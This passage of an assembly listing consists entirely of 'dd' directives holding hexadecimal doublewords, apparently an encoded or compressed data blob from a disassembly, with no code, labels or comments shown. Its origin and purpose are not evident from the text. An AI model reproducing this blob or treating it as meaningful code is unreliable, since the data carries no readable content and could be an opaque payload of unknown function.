99C900AFh, 721C4234h dd 0F057CA6h, 0D35A2867h, 0EB77A005h, 0CC8E94C5h, 10C1CF88h dd 8230D6F3h, 5369263Dh, 51C5041Fh, 0D8E8C1C4h, 0F0591301h dd 0C1845EFAh, 63A5B911h, 0B8F99E9Ch, 0F48C1B12h, 728B08F2h dd 0A5C4FFD7h, 8B9A0056h, 4C9BCDA2h, 0AE2FD701h, 0B0DDBE39h dd 0C42D3843h, 0EC007095h, 2A3EE62Eh, 0FA2503DAh, 0A3478736h dd 0D06005D2h, 630A6168h, 501C138Bh, 0C2AD300h, 2C7B51F6h dd 64F48262h, 3C548893h, 836A3703h, 0A053DF0Bh, 63E182CEh dd 0E319297Bh, 0D588B783h, 200FB368h, 0C992BAA7h, 697C3055h dd 0C4823A5Ch, 535B2102h, 8058B948h, 4C9622F0h, 1798465Ch dd 0F033E233h, 0CD0BE172h, 88AA37D8h, 7600A350h, 3BFCC5F9h dd 0E4B42CD2h, 69A10037h, 0DFA4D3E3h, 0C0992049h, 0A90D94h dd 4BF4DC3Fh, 0B98DBF5h, 63E25043h, 4F3DA410h, 0D02F1500h dd 51C616C9h, 0D450CD2h, 0F0204A3Ah, 9C7CAC48h, 780A1C80h dd 0B12D3699h, 584B014Ch, 605E547Ah, 2B49B6A8h, 0F70E0568h dd 8CC0E330h, 2EF0B969h, 0F4C553h, 27854C48h, 0A4F82ACAh dd 0B361D060h, 0BFB772h, 0E968B14Fh, 7C95164Dh, 435C451Eh dd 87E75440h, 1F97353Ch, 0C06B8ED2h, 7C246349h, 512A0DEFh dd 4526A0EBh, 636014AAh, 9B7D2Dh, 74DAE107h, 0ADD4FEA0h dd 6030D200h, 0D531524Fh, 11A6F765h, 0DD443EF0h, 0ADC5A038h dd 9E0420DBh, 1292F198h, 40202DF9h, 5D8EFE80h, 9D38FB93h dd 377D9474h, 0DD3C80F0h, 0C94199h, 0E45030A3h, 2479E30Bh dd 753E0700h, 0C0273D72h, 55B000A4h, 0AB2DE8Fh, 5C00AECEh dd 9752BBFFh, 60D429h, 6E65D346h, 0C7F7DD18h, 0DAA83D00h dd 53284976h, 0B429C029h, 0D14FE3ACh, 627EBF00h, 0E0DE477Ah dd 204C605Eh, 8B7C18D3h, 0C54BD201h, 0C4F0492Fh, 438FF0h dd 0E84A661Dh, 8B829CC8h, 0CC902437h, 5C088846h, 6406ACFDh dd 30859CE9h, 20AE9D00h, 0A073F7D5h, 4A4D005Fh, 8D99A521h dd 0D40FDB8Fh, 43E36F8Eh, 0DA71A9h, 0EED77710h, 4D7094B3h dd 2518B500h, 0C4E3D256h, 4585002Fh, 619A7A7Bh, 0C000D3D0h dd 0A60431D7h, 0E4A9F764h, 0C826606Fh, 0B0F1C697h, 0FC17A4FCh dd 0D300FA68h, 0F4CCFD87h, 1C18063Dh, 0F99AAC6Eh, 86729E1Fh dd 840C8780h, 73A4621Bh, 0A9A306B7h, 28480693h, 0B0374D77h dd 5F8060D3h, 75CFF7h, 214873C0h, 6185B59Dh, 0B8279600h dd 0CB145F13h, 3DBB0CB6h, 7B99126Eh, 0E1BCF900h, 0B8A5AB31h dd 884963A4h, 0AA06258h, 533A222Eh, 0C65680D6h, 54944BE0h dd 4CB01C6Eh, 7A6040F7h, 72AFE281h, 25141003h, 7786AB2Eh dd 0C27F00C9h, 62AEB336h, 677703Fh, 8381EC00h, 27808B85h dd 0A0E214C9h, 0A218B02Bh, 0CC7F9924h, 0A976B800h, 0F7C3099Ah dd 0A2B60A0Dh, 0B00E99h dd 0B8E1D127h, 0E407E7A1h, 0F993A061h, 7CD36B40h, 52091D81h dd 0C5D57h, 473A35DAh, 48F442C3h, 317C38F8h, 5D261B03h dd 0E0335601h, 74791AFCh, 10C66061h, 406B5851h, 0BCC10800h dd 0D41FBAF8h, 0C6443D10h, 0BF470D80h, 7D3CFB81h, 57E02D74h dd 0D71C2BF0h, 465E316Ah, 7008211Bh, 0BD511F30h, 0E4F5D42h dd 0DA006C81h, 0C4B80527h, 0B307261Bh, 4C847C0h, 3089A8AFh dd 1100BF2h, 8210BEFBh, 3E58E4EAh, 1B01A238h, 157CBDCFh dd 0FA0898A7h, 75A3E021h, 63690FA2h, 11F48DCh, 0F3239A3Bh dd 81618362h, 98A46158h, 33E5BC36h, 0BF083DE0h, 0A212100h dd 7856BB61h, 5D0F0059h, 1C1E9C96h, 0A0DF9848h, 0E48B6A03h dd 7E6078A9h, 0C1B3609Fh, 8DF7544Dh, 78990400h, 3C1F9CEh dd 0B9CA0C98h, 4040967Ch, 8A0327F6h, 9D070223h, 6008BE21h dd 315B61A6h, 0D003F428h, 3F1C92B5h, 80CFB3FDh, 0C09C9EDDh dd 0A91B2FA9h, 822AC09Bh, 780080EBh, 1CE19245h, 0A4BE7Ah dd 0B02EB509h, 0E5D4F518h, 405CA100h, 0C75F7743h, 3EA2A68h dd 89464470h, 4851F160h, 79ECB4E5h, 1A37002Fh, 0D6AD729Ch dd 6A7B635Ah, 60E52918h, 0C7A5B891h, 0BB0541h, 0B5F03B5h dd 4B2D0D07h, 220FC68Ah, 833BB070h, 2932B89Ch, 79900231h dd 7671893h, 0A9FB3A39h, 0C6BF407Bh, 0B9C0DD1Bh, 76B078BEh dd 25D4F1DEh, 0C8F8510Dh, 8BA06185h, 66D840E7h, 0E018061Ch dd 58A3CF07h, 8DC19F53h, 9040C64Fh, 0F04D1C9Dh, 2CF00DDh dd 0A0D67FB8h, 81600F6Dh, 0EEE47920h, 0CFDC3EE3h, 212D712h dd 74739838h, 0EEE21048h, 80E38C30h, 10D45595h, 1FB1808h dd 26D6FC01h, 20BB1911h, 608CFA92h, 0EA2B078h, 117F1B23h dd 0B62A00F9h, 1F945BA2h, 9E9F0A1Ch, 74A8CFD1h, 3A009246h dd 99887D0Fh, 6A90808Ch, 0D8F2AF37h, 7C6B6900h, 5AD0C142h dd 1F7ED27h, 0DC2282F5h, 2915D806h, 630018ACh, 0F848BDB8h dd 62734491h, 9E8848E8h, 2596C0A0h, 0C9011468h, 3FA58A65h dd 0A840BFDEh, 182340ADh, 10D1635Dh, 0A186172h, 1969E580h dd 0F3BD098Bh, 5C048D91h, 0ED60937Ch, 3A72139h, 534565BDh dd 0E8529B35h, 480C3ED9h, 29810059h, 8DCC7355h, 0C1658E60h dd 6C3ADC02h, 61550214h, 0BBFE58ABh, 5C10C519h, 0B7006167h dd 0A6BB1C4Ch, 18F2BD0Fh, 6977B8FFh, 933F3F2Ah, 4CE700B4h dd 5BC0C62h, 0A0222AC6h, 761E0A84h, 1AC5134h, 0FB43BF2Fh dd 2002693h, 1B53A2AFh, 10F831B7h, 6A2C8D9h, 62650705h dd 2530613Ch, 7BE821F2h, 58B1C2CFh, 0DCA1411Fh, 10CDFF66h dd 3F0ECCE5h, 1400BAEEh, 36D2DE27h, 0D103B35Eh, 93113BC4h dd 0A91F0A1h, 0D8F23026h, 44D7FD39h, 14633900h, 9FCA5A86h dd 4CC97E03h, 7007E0FAh, 400C2610h, 89A13052h, 8B505474h dd 28C2CB4h, 58AD6153h, 0CB19BC0Eh, 616D2210h, 0BD62A20Fh dd 0A905C212h, 0ED6C99DDh, 80CE04CAh, 8E1AF26Fh, 0C0A27424h dd 9A7BDE41h, 74210021h, 9C1295F5h, 0D6C7C4A0h, 990076CEh dd 45D49BADh, 60FDC68Bh, 0C4F321B8h, 41754CEBh, 58048F9h dd 3263D300h, 0FFF17CE1h, 77B67436h, 1D9F0C6h, 16F80A40h dd 50E389EAh, 45B4ECC8h, 0D1323000h, 9B1ADC7Dh, 4C294CC6h dd 51DA2B80h, 0C9499804h, 283080E0h, 8C2A2389h, 0FF60A744h dd 3B5CD3C4h, 2D8A7BBEh, 988FB31h, 8C20F57Dh, 3524CABDh dd 2AD06900h, 278D477Fh, 0AABC00CBh, 39043714h, 0A8007275h dd 8C5744BDh, 0F86C91h, 86B940DAh, 0DD71C6C7h, 78BC6752h dd 315C1E50h, 8391A30Ch, 0D4E9E5h, 5524F76Ch, 8D41D238h dd 8364F202h, 0D678F4D1h, 82A93D26h, 40BA1F8Ch, 742C161Dh dd 50388E85h, 67A5848Bh, 0D4808257h, 26CDD8DBh, 0A43CE52Ch dd 0E0013ECCh, 6749CFDFh, 2809CB73h, 8202114Dh, 27A85858h dd 491EB41Fh, 0C01880E7h, 1B41D9h, 0FB522AA6h, 76E4B1DBh dd 24A00A4Ch, 1C0B5C01h, 5348A0A2h, 60E10BF3h, 7278119Ah dd 2913C9BCh, 54426F65h, 7822A9A4h, 1DE0F741h, 3E38994Eh dd 0CBC76788h, 0AF4C9303h, 58680ABEh, 0A8D01B7Bh, 1A390018h dd 8F29D522h, 1C008EB5h, 2A5ABC89h, 30549250h, 1B38B3C7h dd 0B824F09Dh, 0DD8000ADh, 362833C2h, 1F52F4D5h, 406C4B40h dd 34EF5BB3h, 4606A185h, 128127ECh, 77B10071h, 17DD438Fh dd 94029009h, 71F1B97h, 0D1F0A0BDh, 0C223159Fh, 83514D31h dd 1B000CE4h, 975C2AA4h, 1C442E09h, 0DCF2715Dh, 4010E428h dd 9D345A23h, 680CDE13h, 0C00BE408h, 91FEBD8Ah, 0E4228546h dd 0BD92BA00h, 40B58B2Eh, 0B8221836h, 7014F19Eh, 42861800h dd 7A623F60h, 542F0621h, 41E67B0Eh, 8D5A0501h, 24E8AEB4h dd 91799C20h, 1D097C4h, 30BCAF77h, 1778C46Fh, 6D23410Bh dd 91FC2007h, 0B0E77F1Ch, 0D801645Ch, 0AD7747D2h, 149D000Fh dd 2E4B3ACh, 0E2E3401Fh, 0A78783B1h, 9D923080h, 1812BB9Ch dd 4407A548h, 19B4FD78h, 7F637101h, 58A07062h, 1028EF2Eh dd 844C9789h, 0E602D90h, 5823AE61h, 0CA1106h, 5F61688Fh dd 1DA2195Dh, 0D331A78Ah, 23B43A76h, 0EF0601C9h, 62208FC1h dd 0E2244258h, 0E36F30CAh, 2E0FD076h, 82DC51A5h, 40B90754h dd 49552560h, 0A0408827h, 18986056h, 0D965E2C5h, 640949D3h dd 0D8C0939Ch, 54BBF5E0h, 3E09F005h, 0FCA5F7C6h, 639214A4h dd 1B5488A2h, 0C2618CAFh, 0A2B7DC51h, 3EF6E4DCh, 93095B4Ch dd 60303A92h, 0E201FE4Dh, 20B382D0h, 0AC70BDE7h, 0FF048CB8h dd 52238427h, 3D209862h, 1E142837h, 2E3A7287h, 781304A4h dd 0C758034Bh, 9F49FC30h, 617F4CA1h, 16942666h, 0BF09BD37h dd 0F394312Dh, 0BD7FA310h, 0F9973B04h, 6CA46A50h, 0FA513F44h dd 1611F830h, 0D00824Ch, 8D3A8EECh, 0ED0AB5h, 0CB3FEE9h dd 84346D40h, 5B096A13h, 690E7420h, 1564B04Fh, 8C9D66DDh dd 98254102h, 984051C7h, 9F81D34Fh, 7776C833h, 1E79C418h dd 89DCA41Dh, 18805C94h, 703B23F3h, 7BA78C6h, 364DC3DDh dd 7B76D048h, 0C7EAE6FAh, 10C4F548h, 2905F157h, 936FFB6Dh dd 0E6F1D608h, 12402D93h, 0F4117CA8h, 1B723D4h, 238B282Eh dd 0B0282C3Ah, 28265Ah, 1CB2DAFCh, 0D1214412h, 2825703Ah dd 834CD0E1h, 8CF6E860h, 0C14E4901h, 0DC9E1B10h, 0B818482Ch dd 0FF9179A3h, 0E1D43805h, 1D8060CAh, 24AB6755h, 36C93A1h dd 0CE0E169Fh, 1C125078h, 0A0231273h, 90A4BC2Fh, 88058C11h dd 959230BDh, 0BC4C28h, 0EB2ABD90h, 8E1B3457h, 489EE024h dd 5FA2F401h, 5881CDBBh, 0BC96257Bh, 0C1E302F9h, 0C245068h dd 7950B902h, 0EE861892h, 0C5CD3B6Bh, 418C6C80h, 7317A8E1h dd 117E7C18h, 0CF03A1h, 83022696h, 8A361E6Ch, 7E17FB4Ch dd 0DB120A7Ch, 34865140h, 7AF4A08h, 59700C2Ch, 1A3E7C48h dd 8B0EC00h, 1F25CC88h, 13044A5Bh, 80089B40h, 3609DABh dd 9B3C2678h, 911584E8h, 80630BE1h, 6E1B489Ch, 204E6F90h dd 879830D6h, 0C003E7BCh, 47B023DCh, 0E2AECB34h, 462C6421h dd 27ED02B6h, 47222336h, 25370058h, 0A25FFB28h, 0C0632E00h dd 514143CBh, 0A4E3545Dh, 4A21038Eh, 1F40CAB9h, 7099B6E1h dd 0CE60F34Ch, 0AC5514D9h, 52DD0587h, 0C8470C38h, 6A17A158h dd 0A8257B1Fh, 98C848CBh, 1477ABC0h, 19BC90E5h, 5078FB5Dh dd 0BC4820F9h, 244C943Eh, 1006680Fh, 0B9097Bh, 32705DBFh dd 88371511h, 90D2B300h dd 9887BAA6h, 0F0E7491Bh, 0A60158E8h, 9474802Eh, 6430444Eh dd 78E74965h, 3FADB09h, 5100F0B7h, 9A15E6F7h, 0BDC49E83h dd 49A8ED01h, 709259D6h, 2D79A523h, 0A900F3ECh, 54F81A3Ah dd 901318EFh, 6E1D0920h, 0C42C4D7Ch, 48CCC88h, 2388282Bh dd 0E8C73932h, 1E23328h, 496C7C96h, 23CF363Fh, 8C023E4h dd 891395C6h, 0A2ADC890h, 0DC66009Ch, 0F5D07B20h, 75135AC4h dd 0F09488E6h, 0C92804C0h, 0DD6C1491h, 0C6010C70h, 8BD9F871h dd 38ABF152h, 9FE8C570h, 0E720141Ah, 60F34404h, 0BAFC6C31h dd 27529E4h, 18AD7990h, 9B0904CAh, 91445870h, 0C72051D0h dd 0FCF4692Ch, 229BA04Fh, 88E741BFh, 0D8B97074h, 59A4B88Ch dd 0ED80076Eh, 0E0EB7389h, 9D222650h, 73F9ECB0h, 4CAC2CE8h dd 0A7E87990h, 88DF008Ch, 0B3411524h, 35030714h, 0F473693Ah dd 40C802A4h, 0D44B729Bh, 0A931F880h, 9EF40D0Fh, 0E202D0B4h dd 70CE0AEEh, 0DB581C80h, 0EC9BC96Bh, 0CF66007Fh, 1AB67FAFh dd 0A81F1AF4h, 0F2EC0052h, 8C5AB426h, 0B291BD09h, 7D0C4124h dd 6F27D980h, 10F75B59h, 3C6A69C0h, 0C762Dh, 255E2CE6h dd 4CBFA1A9h, 45374E02h, 0E0A5CA99h, 5ADFBDh, 72399A8Bh dd 0A0AA91D3h, 9226237Eh, 160096BBh, 0FDA356D9h, 0AD8B0F2Fh dd 9700D855h, 135891BCh, 660098EEh, 852C5EA2h, 72519Ah dd 0C56268Bh, 1041AB79h, 275C250Fh, 0A04AC7A1h, 0ABD95313h dd 6802C02Dh, 977E050Fh, 0B0521C63h, 0D1F0E4Ch, 4C66D6F9h dd 0AFA8FD60h, 25DA002Eh, 0D856F837h, 3A04EC31h, 9DE2BDC2h dd 20105CA2h, 0F75AC199h, 8200C66h, 40701805h, 2D606895h dd 18EF6130h, 0EC585CA5h, 9B11CBACh, 0E3A9A685h, 31CBB260h dd 178FC54h, 0A713AF01h, 7D6C18BBh, 9C174070h, 6F74896Ch dd 6067C804h, 25F2BD36h, 0CC962591h, 0BDBEA600h, 4FB6AAC5h dd 605804DCh, 0D00A4125h, 48EC1664h, 4857A880h, 0E1E8F88Fh dd 11830A8Ch, 16C0BB1Bh, 0FFDC8C47h, 0FBD840h, 0DCF0AEE4h dd 0FA75E1CFh, 465EE0B4h, 0F55001CCh, 7ABF5F42h, 4E1C5064h dd 0D8B414DBh, 18CA6E8h, 93EB8E03h, 0A0E57B4Ch, 502CB4A0h dd 467430F4h, 5B7F0092h, 915C93ABh, 44E70C74h, 21A0A06Fh dd 4F51D89Ch, 0EC977F12h, 280F091h, 346D7A2Ch, 77459E01h dd 23C67C4Eh, 0CB256822h, 0C101E5E3h, 0A9518EB5h, 0CC6320BCh dd 0C53095E2h, 3FA4003Eh, 47CB5976h, 58258CC9h, 0E588929Dh dd 61F86470h, 802C2F52h, 44001E22h, 0FF94DFD0h, 3ABE2B4Eh dd 54009FF4h, 0F3020FB8h, 0E2175AA2h, 0A404CAF8h, 0DC4EFC64h dd 3287EBh, 0C811349Dh, 4757C387h, 0FA909043h, 14B01682h dd 2E12D020h, 2DB4FBF5h, 0AC11DC97h, 5522A180h, 0B0BB75EBh dd 9C9A7F17h, 0CB1383C0h, 900120A3h, 9BA84ABh, 18329B5Ah dd 2066E616h, 84B5D894h, 1FCE749h, 0FE94BDA7h, 0C43891FAh dd 59A2A1C0h, 608CA71Bh, 0CAD321EEh, 0EB0501A2h, 80B42869h dd 1C0EC888h, 0C0C19E5Ah, 0A4477B5Eh, 64C4B210h, 8E046ECh dd 49204A9Fh, 0D0EAF478h, 9200685Bh, 542AC697h, 8AF43CFDh dd 0C50D500h, 0E6731C23h, 60A048C0h, 521A3563h, 0F9059824h dd 0E5D8F70Eh, 347BE21Ch, 7A2FCAD0h, 5BC304F3h, 0C14F8DBFh dd 307750F0h, 0FD12D8C8h, 449EEC6h, 91DC1770h, 1AB980E1h dd 9707880h, 0B86F4CE7h, 9DDA1081h, 0A22063F9h, 83E730C9h dd 0F5316416h, 0E2526004h, 0ADFAFC04h, 2F76A8C8h, 0D8109DE7h dd 2FBFAF7h, 117897DCh, 923C81F5h, 0B034CF54h, 2B771249h dd 71800063h, 661D7E13h, 444ACC2Ch, 43DA6201h, 5C487FFBh dd 0FA208ABh, 0C1C2571Bh, 0B51D00F9h, 32009CA2h, 22CD60B6h dd 28443B88h, 46A8730Ch, 610F0230h, 312E58D9h, 598E10C4h dd 6C130061h, 970533E9h, 672FC0B2h, 90F88456h, 52A2A460h dd 0C0DF1B21h, 0C2A2C9D6h, 0A52C087Fh, 0DC58001Ah, 9C918460h dd 9E18ED71h, 29C32100h, 510258FEh, 470C251Bh, 8F5F782Bh dd 5927A24Fh, 8A5849ACh, 0B706147Ch, 0A9E88389h, 5DB4B2Fh dd 1CF0DA68h, 72D14579h, 5FA00A0h, 355B4574h, 120FC3Eh dd 528B17E5h, 3DB9DB28h, 71390094h, 0F6D99ED2h, 6FC80640h dd 51D3F45Fh, 49346900h, 0B9D0905Ch, 9F5600C2h, 0C042AFB4h dd 92028CCDh, 5AB030D4h, 0D1016275h, 18CC7968h, 42A405FCh dd 0E0CA7767h, 4F201CE4h, 13849695h, 0C8E48B79h, 1651C0A7h dd 58B0556Fh, 8BA42205h, 4480F354h, 1E4FEDB3h, 6924FFE6h dd 154500A0h, 0DB6D829Ch, 52DE1C07h, 0F190A850h, 1C6B2C97h dd 0EFF3018Ah, 0C9912417h, 49A7E280h, 1197EBF3h, 86C469E8h dd 1C0B00B2h, 0CA595482h, 7258877Eh, 3226A28Ch, 58AF7C81h dd 0AC4E5Eh, 0FF610B20h, 49672F0h, 1AFD704Ch, 105CA808h dd 0FF25A564h, 0C0B078E9h, 2A020F9Bh, 52225D1Fh, 54C48165h dd 0D000BFABh, 4E5B0BF5h, 7B09605Ch, 0F2702F1Fh, 2F0C28h dd 4025A7B2h, 0C7F227FBh, 0A17B69C0h, 0C5B5Fh, 46744281h dd 2B66AC54h, 97685302h, 60EF6B1Ch, 4E0D5C3Ch, 0FD842193h dd 117C399Fh, 410F639Eh, 483768FBh, 20CFB390h, 0DA233728h dd 36808506h, 7DF8283Ah, 12530082h, 0EC04E170h, 78B980DFh dd 0A17B30Ch, 0CADE00FDh, 0D5E24862h, 0CD2674A3h, 0BB0E4CC3h dd 2FDCC24Eh, 0E984C0E1h, 4C67E40h, 661B019Eh, 0B40B808h dd 22C52D70h, 6488E744h, 0FCCDEED8h, 924A801Ah, 6119BC65h dd 9223682Eh, 0C3A60038h, 0C939A375h, 0BC1C039Bh, 8DCFDD68h dd 3860DBB1h, 8C99BCF0h, 0DA243000h, 80D09E7Fh, 84634C9Ah dd 89C01088h, 5B922DBDh, 0B9902C5Dh, 184915Ch, 0DD596586h dd 0F1AEDB92h, 3D0D407Ch, 5F058E97h, 0A1B92D69h, 13558840h dd 38CB4AFEh, 7FAE52Eh, 1BD39739h, 0C39CD462h, 7C05E41Ch dd 0A7906369h, 0A20FBC03h, 0C21CD293h, 0B66480A2h, 2CD6F995h dd 80BCB126h, 60ECFBF6h, 0CF04E019h, 2AA55D25h, 54B48081h dd 80CD5470h, 4C24FC26h, 0BBAC88FBh, 0FA402001h, 0E84865DCh dd 0FCEF195Ah, 0D014591Eh, 0BE5E1A9Bh, 0DC092812h, 0C4546504h dd 6B5E60A7h, 0C62416A6h, 96009125h, 78F8C618h, 0DEC7541Ah dd 84D060A9h, 0EF19C3A6h, 903FF0BCh, 0F42795h, 986FE120h dd 581D331Eh, 90DD8969h, 0FFE2C530h, 0A9176B00h, 0DDCE9513h dd 33751F50h, 664F84FBh, 8880CE88h, 4155C0C5h, 0DE00A42Ch dd 5130BB7h, 4D94EF58h, 17104C1Bh, 617209D6h, 842C306Dh dd 91F417BDh, 0A8D43835h, 4BD8C3Fh, 0D5D2F347h, 3A969CE8h dd 39C82328h, 720D6800h, 3F49CDFEh, 8082564Bh, 70847332h dd 9F25DA81h, 41204964h, 9230202Eh, 5F0035AFh, 0D03FCFAEh dd 49434Fh, 0D68C9FC9h, 32F5C3BEh, 9AB9FC12h, 2B3A9489h dd 0F9437C64h, 3246810Fh, 12D3DD21h, 3F84C60h, 0CD471900h dd 0ED50474h, 1BE00006h, 0A1C08221h, 54721CC9h, 80C5674Eh dd 0C8CEC824h, 0ECC39288h, 8145FBA5h, 54F9334Eh, 805C56F2h dd 62877C65h, 0D612F8EAh, 8CB437Ah, 37E4F984h, 78DB3620h dd 94C24B5h, 0D07E122Ch, 0CB67607Ch, 8534C800h, 0C6CF811h dd 0D37A00BCh, 9FF7FB88h, 0B75DD744h, 0A4653C3Ch, 5A97DCD8h dd 0BC1D600Ah, 3AC9515h, 0DDB47A02h, 31309676h, 94698467h dd 2866D61Ch, 0FA507820h, 41B960E2h, 0A2391155h, 0EC2E034Eh dd 89009923h, 45D9BEF7h, 0C8CC4EC0h, 0CF1F5438h, 0F8C0AA60h dd 5192285h, 4D9C38D9h dd 750F92h, 4154A923h, 0B5D5525h, 5AC603B8h, 0A9DAF4ABh dd 0A851F01Eh, 0D187F77Eh, 0C05F5950h, 7F29FAB4h, 54D5D600h dd 44E49CD1h, 940B4C03h, 0FC74407Bh, 82BFA4Bh, 0C2E4F910h dd 468C60FBh, 0DE72008Ch, 0CDBF5CC7h, 0FB3C669Fh, 129683CEh dd 901D990Ah, 0EE7D01BDh, 249C58DDh, 0D9980B97h, 682C9CC6h dd 465E5472h, 1EE67FE2h, 0D50A8F77h, 887B36C9h, 3BB86B40h dd 26C000FCh, 99568F5Dh, 0AF013176h, 214A5983h, 0C9804BB8h dd 89369357h, 0CD00A247h, 0B3312E6Ah, 0FCE5575h, 0E3D7AA0Bh dd 0BBEB5401h, 817C72D1h, 61B5DA8h, 7CA47CE2h, 0BE00CB46h dd 0A4B2C315h, 9C0B7AA8h, 2140D890h, 76B9F710h, 414B1C62h dd 92FA589Ch, 0F2C4327Fh, 5B3430EFh, 0D290660Eh, 5F798317h dd 750EB63h, 6D238670h, 3C00C98Fh, 40FB4F7Ch, 88203C4Ah dd 0DCF8AEh, 2A01C424h, 0B95792ABh, 0E71AA800h, 74A3D10h dd 5EBC9C0Eh, 0B900FE46h, 0DC758874h, 71C051B8h, 7AD2E168h dd 0B7BC034Ah, 762C2416h, 84078BB0h, 6888CE2Fh, 0AE0A9Ch dd 74C36D44h, 8F145BFCh, 7C889700h, 0ABEFC612h, 0A14009AEh dd 0C8503F8Dh, 465E00B6h, 0C5E007F8h, 0DCE41EA8h, 722578ECh dd 0F0C45CE5h, 54401362h, 0E71EA175h, 0C4C17DF7h, 20692758h dd 3178A07Dh, 7D11B91Fh, 0B741A763h, 69860070h, 53787BF3h dd 0FE02DFE2h, 0E496859Fh, 0E4E5B7h, 0E52F2856h, 0B65DF75Ah dd 0F8405098h, 85842FB5h, 0C1EBE0Eh, 0A684A850h, 4E3821B1h dd 0CAE10F03h, 26960109h, 0D43C256Bh, 36C481A8h, 1121A3Fh dd 0ACBC30DDh, 0D34ACAFAh, 56893422h, 1E348E40h, 7912E982h dd 17DBF460h, 84C14F00h, 0B72F4C82h, 0D17D1889h, 0B49331DCh dd 815B5427h, 0E8A71BA8h, 0CD877828h, 23A2832Dh, 9B99F1B8h dd 751C1DBDh, 0E50814A6h, 8DE70075h, 0CA5D229Fh, 9A84948h dd 0F0474C91h, 5CB62DE8h, 5AC0F0C8h, 30411F26h, 0E4909B82h dd 0B9D8403Fh, 7080927Dh, 0A7D90049h, 76C75957h, 5AF46910h dd 0B926E49Ah, 9B80D4A9h, 0C33B1CCFh, 0ADE1234h, 0D0B0E483h dd 9AFA7103h, 2E12910Ch, 2504FC40h, 4418E490h, 20797B0Fh dd 0CD81E12Bh, 0A9CC2327h, 2C0600B6h, 97D3D1A2h, 10B51D09h dd 0D0ABDD4Ch, 6960448h, 8A32E28h, 2F87BCB6h, 30C0B584h dd 26755AC5h, 41641396h, 503EF758h, 41637180h, 7C242126h dd 11D8CF04h, 0A2FC4C8h, 0EBFC601Bh, 15B611ACh, 0C0D4F3h dd 13BC4898h, 41E489h, 8C0C5743h, 3182C29Dh, 840FB4Eh dd 11D93F2Ch, 789B00DEh, 0B0F49D24h, 5F0030BAh, 8553FA69h dd 0A0209519h, 0F8F008h, 908BC552h, 0E349C225h, 424A1C00h dd 235A17FFh, 83A00110h, 0FB11AA96h, 2613E471h, 79F63B77h dd 8E5C6E3Bh, 2016F4CAh, 47087A5h, 0E34400B7h, 6A461C91h dd 97609F90h, 29899640h, 0BCF300CCh, 73DC7176h, 0A8C03C72h dd 0CA5707Fh, 0A67C16h, 0E0AB868Ch, 5F682A98h, 84CF200h dd 35342FAAh, 7A280778h, 0B0EF4830h, 2D9804Dh, 19864B01h dd 0C14E187Ch, 188CE7C3h, 0EA46070Bh, 1A10207Ah, 0C5E2D920h dd 7637001Ah, 0FEC7485h, 77ED4536h, 0FC669920h, 0D03EBC72h dd 3F150034h, 3C083144h, 0C00C0126h, 85DBB6D8h, 81650EECh dd 80C4863Ch, 3F011484h, 412AB209h, 22F04367h, 2E0E00D9h dd 0A14506C3h, 4D007502h, 0BE73AE6Eh, 2ACAECD1h, 0CA34ED6Ah dd 84802C08h, 6B4CE0F6h, 70E7A043h, 11E30763h, 0F9CE3D00h dd 4DFB915Eh, 0C96F00D2h, 2B7C80BCh, 0A53D11E5h, 9E8B1464h dd 460603F4h, 829F16F9h, 7C0C409Ah, 6B420FD2h, 892C655Ah dd 22844A29h, 0DE42ADF3h, 21B67411h, 0AEEA087Eh, 0B584BA90h dd 8615EB4h, 0A690AF32h, 48B26784h, 929142B6h, 0EC228224h dd 9B10BA11h, 8100C760h, 0E863F505h, 0FEF641ECh, 68F20026h dd 1F43A7EBh, 0A000E5C6h, 15478639h, 76313DB1h, 588507E0h dd 70A7C00Ah, 431C98A2h, 0C6C97600h, 828C64EBh, 0F85B0090h dd 7BFD6965h, 2B0F32E5h, 2B92681Fh, 0D5EE80EEh, 2FF41629h dd 0D240F3F2h, 7F01CE42h, 13956A9Bh, 80DB08EEh, 199F5Bh dd 8E07F3EBh, 9568A86Bh, 819D3500h, 3CAA47ABh, 0D9F0DCh dd 0A5F7F80Ah, 0E81F4680h, 0D700D178h, 527B6DB6h, 1E26EAE7h dd 0C03FA3A8h, 90EECC2Bh, 1E1D6622h, 4FC062ACh, 0C338E16Fh dd 334A0025h, 46934042h, 21006ED1h, 0F15354C8h, 0F6DEB915h dd 0B8D8093Ch, 80A039h, 7FFB2010h, 322EFD00h, 0EDF0828Eh dd 9C0100CEh, 197AF936h, 2002BA9h, 2877BABCh, 956968h dd 79BE0B5Ch, 7A37DAE6h, 85E99B0Ch, 0CAF44Fh, 0D9B8EEC0h dd 0A681EBCBh, 0BD625000h, 774ABCB4h, 60114C36h, 0B5D4D703h dd 0C0AC2E96h, 0E73A461h, 8E001A7Fh, 0B100AE9h, 3054A3B7h dd 0BA8CD7A6h, 0C318C025h, 8F10D666h, 63960C3Fh, 0B3D8126Bh dd 6A41420h, 67C5332Bh, 0F50028C2h, 60E56EE2h, 497D69h dd 0FCDA2BAAh, 0B28F0194h, 0E8162626h, 52803D00h, 38BD1474h dd 0DCBA3278h, 5DDE5783h, 12D8352Ah, 1403AAA1h, 70E7585h dd 66C68015h, 6281007Eh, 0AD84E5FAh, 0B3FC32BCh, 802B1F07h dd 7F90D311h, 12468FCh, 417995D7h, 0F8AFDDD8h, 0CA004662h dd 0ED60B6EBh, 71F4A1EAh, 6F0002Bh, 204A76C8h, 2A001673h dd 27AEC346h, 0F4E87F94h, 9F5000AAh, 0B4FD4A6h, 0ED076345h dd 39A41832h, 0C2F0A5B7h, 0EB2C05h, 0B66A3D40h, 5B9CCC44h dd 0F8672601h, 57B57BF4h, 2876A6E8h, 39CC07D9h, 6C0082BAh dd 0F0170438h, 890081BFh, 0D4231B1Dh, 0AF98CCh, 0DF0657B7h dd 279EF945h, 781A9A24h, 0F2C1ED87h, 897900AFh, 6B572Eh dd 0E98621A7h, 206E6124h, 984FF607h, 0C5F5F503h, 0A07E9C02h dd 44C0A016h, 0EAB87F73h, 9C1E0071h, 686D0BEAh, 0D1EE404h dd 5BDEE332h, 0D310B740h, 0C82C51h, 0FFD04A8Bh, 3E304682h dd 1396E3Eh, 0F0FC757Bh, 5020D152h, 914E06BEh, 10D068BDh dd 43CAE504h, 0ADC0D5FCh, 74403381h, 0BF0F0276h, 17C15B4Ah dd 0D2015442h, 0D4876E69h, 9E00DE85h, 7E1B3BFh, 0E92B67h dd 9D8003CFh, 95348B3Dh, 508C7018h, 71EA18D8h, 4EAD00ECh dd 0E5313A66h, 833EC397h, 2C87Eh, 58C52CABh, 4C8B2632h dd 9B0E5244h, 6740DD97h, 0F1C8C3BCh, 0B2EE9A00h, 0E3335B6Dh dd 9511027Dh, 